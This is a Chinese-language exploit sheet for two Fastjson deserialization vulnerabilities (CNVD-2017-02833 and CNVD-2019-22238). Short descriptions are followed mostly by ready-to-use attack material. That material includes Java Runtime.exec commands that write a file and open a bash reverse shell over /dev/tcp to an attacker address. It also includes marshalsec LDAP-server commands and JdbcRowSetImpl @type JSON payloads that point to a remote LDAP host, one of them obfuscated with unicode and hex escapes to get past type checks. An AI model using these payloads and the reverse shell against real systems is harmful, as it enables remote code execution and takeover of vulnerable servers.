(CNVD-2017-02833)(CNVD-2019-22238)
fastjson 代码执行 (CNVD-2017-02833)
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象 fastjson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set/get方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据, 使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,即可构造出一些恶意利用链。
影响范围:Fastjson 1.2.0 至 1.2.24 版本。



写入文件:Process p = Runtime.getRuntime().exec(new String[]{“bash”, “-c”, “touch /tmp/success”});

创建链接:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.85.132:1111/#Exploit 9999

{ “name”:{ “@type”:”java.lang.Class”, “val”:”com.sun.rowset.JdbcRowSetImpl” }, “x”:{ “@type”:”com.sun.rowset.JdbcRowSetImpl”, “dataSourceName”:”ldap://192.168.85.132:9999/Exploit”, “autoCommit”:true } }


反弹shell:Process p = Runtime.getRuntime().exec(new String[]{“/bin/bash”,”-c”,”exec 5<>/dev/tcp/x.x.x.x/1888;cat <&5 | while read line; do $line 2>&5 >&5; done”});

创建链接:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.85.132:1111/#Exploit 9999

payload:{ “name”:{ “@type”:”java.lang.Class”, “val”:”com.sun.rowset.JdbcRowSetImpl” }, “x”:{ “@type”:”com.sun.rowset.JdbcRowSetImpl”, “dataSourceName”:”ldap://192.168.85.132:9999/Exploit”, “autoCommit”:true } }





fastjson 代码执行 (CNVD-2019-22238)
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象 Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。
影响范围:Fastjson 1.2.47 版本。



该漏洞借用fastjson 代码执行 (CNVD-2017-02833)攻击方式;
创建链接:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.85.132:1111/#Exploit 9999


payload:{ “hrg786”: { “@\u0074\x79\x70e”: “Lcom.s\u0075n.\u0072\u006Fwse\x74\x2E\u004A\u0064\u0062c\u0052owS\u0065t\u0049mpl;”, “dataSourceName”: “ldap://192.168.85.132:9999/Exploit”, “autoCommit”: true }}




反弹shell:Process p = Runtime.getRuntime().exec(new String[]{“/bin/bash”,”-c”,”exec 5<>/dev/tcp/x.x.x.x/1888;cat <&5 | while read line; do $line 2>&5 >&5; done”});

payload:{ “hrg786”: { “@\u0074\x79\x70e”: “Lcom.s\u0075n.\u0072\u006Fwse\x74\x2E\u004A\u0064\u0062c\u0052owS\u0065t\u0049mpl;”, “dataSourceName”: “ldap://192.168.85.132:9999/Exploit”, “autoCommit”: true }}





